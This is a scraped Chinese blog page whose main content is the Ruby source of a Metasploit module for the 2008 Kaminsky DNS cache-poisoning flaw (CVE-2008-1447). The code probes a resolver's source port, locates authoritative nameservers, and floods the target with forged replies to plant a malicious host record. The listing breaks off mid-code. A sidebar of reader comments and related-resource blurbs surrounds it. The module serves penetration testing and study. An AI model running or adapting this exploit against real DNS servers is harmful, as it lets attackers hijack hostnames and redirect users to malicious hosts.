- 浏览: 848259 次
- 性别:
- 来自: 北京
文章分类
最新评论
-
贝塔ZQ:
读取excel文件,插件pageoffice也可以实现。
POI读写Excel文件(转)- - -
springmvc-freemarker:
java开源项目源码实例下载
java开源项目源代码 -
xuning2516:
第一种方法是个死循环啊。。。
Java NIO 拷贝文件(使用compact) -
u012046856:
...
SessionFactory.getCurrentSession与openSession的区别 -
Season_Wang:
赞一个呀,挺实用的
java swing 中的FileDialog
require 'msf/core' |
require 'net/dns' |
require 'scruby' |
require 'resolv' |
module Msf |
class Auxiliary::Spoof::Dns::BaliWickedHost < Msf::Auxiliary |
include Exploit::Remote::Ip |
def initialize(info = {}) |
super(update_info(info, |
'Name' => 'DNS BaliWicked Attack', |
'Description' => %q{ |
This exploit attacks a fairly ubiquitous flaw in DNS implementations which |
Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single |
malicious host entry into the target nameserver by sending random sub-domain |
queries to the target DNS server coupled with spoofed replies to those |
queries from the authoritative nameservers for the domain which contain a |
malicious host entry for the hostname to be poisoned in the authority and |
additional records sections. Eventually, a guessed ID will match and the |
spoofed packet will get accepted, and due to the additional hostname entry |
being within baliwick constraints of the original request the malicious host |
entry will get cached. |
}, |
'Author' => [ 'I)ruid', 'hdm' ], |
'License' => MSF_LICENSE, |
'Version' => '$Revision$', |
'References' => |
[ |
[ 'CVE', '2008-1447' ], |
[ 'US-CERT-VU', '8000113' ], |
[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.html' ], |
], |
'Privileged' => true, |
'Targets' => |
[ |
["BIND", |
{ |
'Arch' => ARCH_X86, |
'Platform' => 'linux', |
}, |
], |
], |
'DisclosureDate' => 'Jul 21 2008' |
)) |
register_options( |
[ |
OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]), |
OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.doxpara.com']), |
OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']), |
OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']), |
OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]), |
OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]), |
], self.class) |
end |
def auxiliary_commands |
return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" } |
end |
def cmd_check(*args) |
targ = args[0] || rhost() |
if(not (targ and targ.length > 0)) |
print_status("usage: check [dns-server]") |
return |
end |
print_status("Using the Metasploit service to verify exploitability...") |
srv_sock = Rex::Socket.create_udp( |
'PeerHost' => targ, |
'PeerPort' => 53 |
) |
random = false |
ports = [] |
lport = nil |
1.upto(5) do |i| |
req = Resolv::DNS::Message.new |
txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" |
req.add_question(txt, Resolv::DNS::Resource::IN::TXT) |
req.rd = 1 |
srv_sock.put(req.encode) |
res, addr = srv_sock.recvfrom() |
if res and res.length > 0 |
res = Resolv::DNS::Message.decode(res) |
res.each_answer do |name, ttl, data| |
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) |
t_addr, t_port = $1.split(':') |
print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}") |
t_port = t_port.to_i |
if(lport and lport != t_port) |
random = true |
end |
lport = t_port |
ports << t_port |
end |
end |
end |
end |
srv_sock.close |
if(ports.length < 5) |
print_status("UNKNOWN: This server did not reply to our vulnerability check requests") |
return |
end |
if(random) |
print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}") |
print_status(" This server may still be exploitable, but not by this tool.") |
else |
print_status("FAIL: This server uses static source ports and is vulnerable to poisoning") |
end |
end |
def run |
target = rhost() |
source = Rex::Socket.source_address(target) |
sport = datastore['SRCPORT'] |
hostname = datastore['HOSTNAME'] + '.' |
address = datastore['NEWADDR'] |
recons = datastore['RECONS'] |
xids = datastore['XIDS'].to_i |
ttl = datastore['TTL'].to_i |
domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0] |
srv_sock = Rex::Socket.create_udp( |
'PeerHost' => target, |
'PeerPort' => 53 |
) |
# Get the source port via the metasploit service if it's not set |
if sport.to_i == 0 |
req = Resolv::DNS::Message.new |
txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" |
req.add_question(txt, Resolv::DNS::Resource::IN::TXT) |
req.rd = 1 |
srv_sock.put(req.encode) |
res, addr = srv_sock.recvfrom() |
if res and res.length > 0 |
res = Resolv::DNS::Message.decode(res) |
res.each_answer do |name, ttl, data| |
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) |
t_addr, t_port = $1.split(':') |
sport = t_port.to_i |
print_status("Switching to target port #{sport} based on Metasploit service") |
if target != t_addr |
print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!") |
end |
end |
end |
end |
end |
# Verify its not already cached |
begin |
query = Resolv::DNS::Message.new |
query.add_question(hostname, Resolv::DNS::Resource::IN::A) |
query.rd = 0 |
begin |
cached = false |
srv_sock.put(query.encode) |
answer, addr = srv_sock.recvfrom() |
if answer and answer.length > 0 |
answer = Resolv::DNS::Message.decode(answer) |
answer.each_answer do |name, ttl, data| |
if((name.to_s + ".") == hostname and data.address.to_s == address) |
t = Time.now + ttl |
print_status("Failure: This hostname is already in the target cache: #{name} == #{address}") |
print_status(" Cache entry expires on #{t.to_s}... sleeping.") |
cached = true |
sleep ttl |
end |
end |
end |
end until not cached |
rescue ::Interrupt |
raise $! |
rescue ::Exception => e |
print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}") |
end |
res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver |
print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}" |
# Look up the nameservers for the domain |
print_status "Querying recon nameserver for #{domain}'s nameservers..." |
answer0 = res0.send(domain, Net::DNS::NS) |
#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities" |
barbs = [] # storage for nameservers |
answer0.answer.each do |rr0| |
print_status " Got an #{rr0.type} record: #{rr0.inspect}" |
if rr0.type == 'NS' |
print_status "Querying recon nameserver for address of #{rr0.nsdname}..." |
answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname |
#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities" |
answer1.answer.each do |rr1| |
print_status " Got an #{rr1.type} record: #{rr1.inspect}" |
res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1) |
print_status "Checking Authoritativeness: Querying #{rr1.address} for #{domain}..." |
answer2 = res2.send(domain) |
if answer2 and answer2.header.auth? and answer2.header.anCount >= 1 |
nsrec = {:name => rr0.nsdname, :addr => rr1.address} |
barbs << nsrec |
print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as" |
end |
end |
end |
end |
if barbs.length == 0 |
print_status( "No DNS servers found.") |
srv_sock.close |
disconnect_ip |
return |
end |
# Flood the target with queries and spoofed responses, one will eventually hit |
queries = 0 |
responses = 0 |
connect_ip if not ip_sock |
print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...") |
while true |
randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname |
# Send spoofed query |
req = Resolv::DNS::Message.new |
req.id = rand(2**16) |
req.add_question(randhost, Resolv::DNS::Resource::IN::A) |
req.rd = 1 |
buff = ( |
Scruby::IP.new( |
#:src => barbs[0][:addr].to_s, |
:src => source, |
:dst => target, |
:proto => 17 |
)/Scruby::UDP.new( |
:sport => (rand((2**16)-1024)+1024).to_i, |
:dport => 53 |
)/req.encode |
).to_net |
ip_sock.sendto(buff, target) |
queries += 1 |
# Send evil spoofed answer from ALL nameservers (barbs[*][:addr]) |
req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address)) |
req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname))) |
req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address)) |
req.qr = 1 |
req.ra = 1 |
p = rand(4)+2*10000 |
p.upto(p+xids-1) do |id| |
req.id = id |
barbs.each do |barb| |
buff = ( |
Scruby::IP.new( |
#:src => barbs[i][:addr].to_s, |
:src => barb[:addr].to_s, |
:dst => target, |
:proto => 17 |
)/Scruby::UDP.new( |
:sport => 53, |
:dport => sport.to_i |
相关推荐
将易于记忆的名称映射到 DNS RCODE(响应代码)值。 用法 var rcodes = require ( 'dns-rcodes' ) ; // Get the rcode for "No Error" var noErrorCode = rcodes . NoError ; // How about if the lookup is ...
【appscode/go-dns:统一的Golang DNS客户端】 在IT行业中,DNS(Domain Name System)是互联网的重要组成部分,它负责将人类可读的域名转换为机器可识别的IP地址。Go语言,作为Google推出的一种现代化编程语言,以...
在本资源中,我们关注的是"易语言DnsQuery解析DNS源码",这是一段用于解析DNS(Domain Name System)的源代码,帮助用户获取域名对应的IP地址或者IP地址对应的域名。DNS是互联网上的一个关键服务,它将人类可读的...
用于响应时表明该记录是权威的)、TC(截断标志,表明报文是否被截断)、RD(递归请求标志,请求DNS服务器进行递归查询)、RA(递归可用标志,表明服务器支持递归查询)、Z(保留字段,通常为0)、RCODE(响应代码,...
DNSproxy是一个DNS转发程序,它的主要功能是作为DNS透明代理,帮助用户实现DNS查询的智能路由和安全保护。 透明代理是指在用户无感知的情况下,DNSproxy会自动处理所有DNS查询请求。当用户将他们的DNS服务器设置为...
CoreDNS 是一个现代化的、可插拔的DNS服务器,它被设计用来替代Kubernetes集群中的kube-dns服务,成为Kubernetes生态系统的默认DNS解决方案。CoreDNS 的核心目标是提供一个高效且灵活的服务发现机制,使得应用程序和...
### 联通DNS设置详解 #### 一、概述 DNS(Domain Name System,域名系统)是互联网的一项服务,它作为域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。当遇到联通DNS解析出现问题时,可以...
在IT领域,DNS(Domain Name System)协议是网络基础设施中的重要组成部分,它负责将人类可读的域名转换为IP地址,使得互联网上的通信能够顺利进行。C#是一种广泛用于开发Windows应用程序、网络服务和游戏的面向对象...
DNSproxy2是一款针对Android系统的DNS修改工具,经过优化以提供更高效、稳定的服务。这款工具的特色在于它允许用户自定义设置两个DNS服务器地址,从而提高网络连接速度和稳定性,或者用于绕过某些地区的网络限制。...
### 全国网通DNS与电信DNS大全:深入解析与应用 #### DNS服务器概念与作用 DNS(Domain Name System,域名系统)是互联网的一项服务,它作为域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网...
DNS(域名服务协议)是互联网中的一项关键技术和基础服务,它负责将域名地址转换为IP地址,使得用户能够方便地访问网络资源。DNS系统采用分布式数据库的方式,将域名空间分割成多个层级,每个层级由不同的机构或个人...
DNS备份 当你的DNS服务器正常运行起来后,大家可以按照下列步骤对自己的服务器配置进行备份: 1. 停止DNS服务。 2. 打开Regedit程序,找到键HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\DNS。 3....
DNSBench是一款强大的DNS(Domain Name System)性能测试工具,由知名网络安全研究者Gibson Research Corporation开发。这款工具的主要目的是帮助用户评估和比较不同DNS服务器的响应速度和稳定性,从而选择最佳的DNS...
DNS(Domain Name System)是互联网中的重要组成部分,它将易于记忆的域名转换为计算机可识别的IP地址。在本文中,我们将深入探讨“DNS扫盲实现智能DNS”的相关知识点,帮助您更好地理解和配置智能DNS系统。 首先,...
### 清空本地DNS缓存的方法 在计算机网络中,DNS(Domain Name System,域名系统)扮演着将网站域名转换为IP地址的重要角色。为了提高访问速度和效率,操作系统会缓存这些DNS查询结果,即DNS缓存。然而,在某些情况...
标题中的“dos 批处理 改 ip dns 备用dns”指的是使用DOS命令行环境下的批处理技术来更改计算机的IP地址、DNS服务器以及备用DNS服务器。在Windows操作系统中,DOS批处理是一种自动化执行一系列命令的方法,适用于...
**DNS服务器详解** DNS,全称Domain Name System,中文名为域名系统,是互联网的一项核心服务,它负责将人类可读的域名转换成网络设备能够理解的IP地址。DNS服务器是这个系统中的关键组件,它们根据预设的规则和...
DNS(域名系统)是互联网的重要组成部分,它负责将人类易读的域名转换为计算机可识别的IP地址。然而,DNS系统并非无懈可击,其中一种著名的攻击方式就是DNS缓存中毒,也被称为Kaminsky攻击。这个实验,"SEED lab:...
在IT行业中,网络通信是至关重要的一个领域,而DNS(Domain Name System)是互联网上的一个核心服务,它负责将人类可读的域名转换为IP地址。在这个场景中,我们将探讨如何使用Socket编程来实现DNS查询功能。Socket是...